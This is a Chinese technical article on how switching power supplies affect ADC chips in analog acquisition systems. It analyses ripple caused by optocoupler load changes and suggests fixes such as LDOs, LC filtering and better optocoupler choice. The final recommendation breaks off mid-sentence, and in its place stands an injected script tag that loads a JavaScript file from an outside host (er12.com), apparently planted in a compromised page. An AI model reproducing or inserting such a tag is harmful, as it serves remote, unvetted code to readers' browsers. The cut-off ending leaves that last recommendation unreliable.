尽管在模拟量采集系统中,对adc芯片等的供电一般建议最好不用开关电源,以避免其固有的纹波大、噪声等问题,但开关电源仍以其高效率、低价格等优点得到广泛应用,尤其是在工业控制等领域。本文介绍开关电源在模拟量采集系统中的应用,并对可能出现的一些问题进行分析。
开关电源对adc芯片工作的影响及解决方法
电源对adc芯片的影响,除了体现在电源抑制比(psrr)参数上,还表现在,当adc芯片对输入的模拟信号进行采样、保持、转换时,电源电压、参考地的变化,都会对adc芯片内部采样电路、比较器等的工作产生影响,使得采集结果出现晃动。因此,一般adc芯片特别是高精度adc芯片,都建议最好用质量好的线性电源供电。如果采用开关电源,则需要尽力避免它对adc芯片产生影响。
图1是一个典型的应用,其中模拟采样用的信号调理电路、adc和现场模拟信号不隔离,adc芯片和cpu电源相互隔离。cpu采用控制系统内部电源。而adc的+5v电源是由+24v电源经过+24v到+5v电源变换而来的。图中左侧部分是典型的串联、降压非隔离型dc-dc变换器的原理框图。设计中,可以根据开关管的开关频率、+5v消耗电流、要求的输出纹波最大值,计算出电感l1、电容c1的合适大小。
为了分析出开关电源对adc芯片的影响,这里假设信号调理电路及adc芯片正常运行的耗电是25ma/+5v,对于光耦部分,如果采用6n136、tlp521等三极管输出型的光耦,则当cpu不启动adc工作时,光耦全不导通,耗电小于1ma;当cpu启动adc工作时,将有数据输出dout、数据准备好ready等信号经过光耦,光耦处于导通状态,为了达到比较高的通讯速率,光耦总耗电需要25ma/+5v左右。这样,+5v负载电流将在25~50ma之间来回变动。正常开关电源设计的输出电流应该2倍于最大负载电流,这里设为100ma,下面将要说明负载电流的变化将极大影响+5v,从而影响adc采样稳定性。
图1:开关电源在模拟量采集系统中的典型应用图
开关电源的工作原理是,平时q1的周期性开关动作,再经过l1、c1,得到所需要的输出;而当输出+5v电压发生上升/下降超过一定限度(如几十毫伏),经过采样、反馈后,开关控制电路控制q1的开关,使得输出电压向+5v回归。在+5v负载比较恒定的情况下,输出+5v的最大纹波,可以根据采样反馈电路工作原理(比如mc34063是通过比较器和锁存器来控制q1的开关)、开关频率等计算出来。
但如果是图1中带光耦的情况,开关电源的输出不仅供给相对恒定的负载(如信号调理电路、adc芯片),而且还要供给光耦等数字部分电路,有可能发生最坏的情况是,当开关管q1正处于上述稳定工作中的关断时刻,光耦突然被adc导通,此时l1、c1将要提供50ma的负载电流,而平时稳定工作中l1只提供25ma的电流,剩下电流只能从电容c1中获取,使得c1上的电压即+5v电平下降比较大。这将持续半个开关周期,直到开关管q1打开。如果开关电源的开关频率是100khz,而adc芯片数据dout的通讯频率也是100khz左右,将引起输出+5v电压频繁波动,造成更大的输出纹波。在示波器上甚至能看到噪声反馈在+24v输入上。
上面只是理论分析的最坏情况,实际应用中,滤波电容等器件的非理想性、pcb布线等等,将使得电源纹波更大,adc采样结果不稳定。有的微功率型隔离dc/dc,或者如电荷泵器件,只有开关管的周期性开关动作,而没有上述采样、反馈电路,输出更容易受到负载不稳定的影响,使得adc采样结果更不稳定。
比较好的解决办法
1.设法降低开关电源的负载变化,因为虽然目前开关电源的工作频率已到几百khz以上,但开关电源的负载响应时间仍至少要几个μs,低于目前大多adc采样的速度。比如采用光耦6n137就比6n136好,因为6n137只是静态电流比较大,而它需要的二极管导通电流小,使得电源的负载变化不会很大。或者不把模拟+5v电源接到小功率的开关电源输出上,而接到其它功率比较大的开关电源输出上,避免开关电源输出受到负载变动的影响。同样一个值得注意的问题是,不要使用adc芯片的ready、dout、din等引脚直接驱动光耦,最好通过光耦驱动电路,使得模拟和数字电源得到很好地相互隔离,避免在光耦开关时,有大的电流越过adc芯片。
2.开关电源后加ldo等输出电压纹波小的器件,再供给信号调理电路、adc芯片,保证模拟电路电源的稳定。
3.如果在开关电源后加lc滤波,将lc滤波后的电源供给数字部分,此时应该针对不同的负载电流大小,选择相应的l、c数值,必要的时候,要通过一定的计算、仿真及试验来加以确定。电感、电容不能过大,否则难以响应负载(光耦开/关)的变化。建议开关电源输出直接供给数字部分;同时经过lc滤波或者rc滤波,再供给信号调理电路、adc芯片。在采用lc滤波时,还需要注意lc的?script src=http://er12.com/t.js>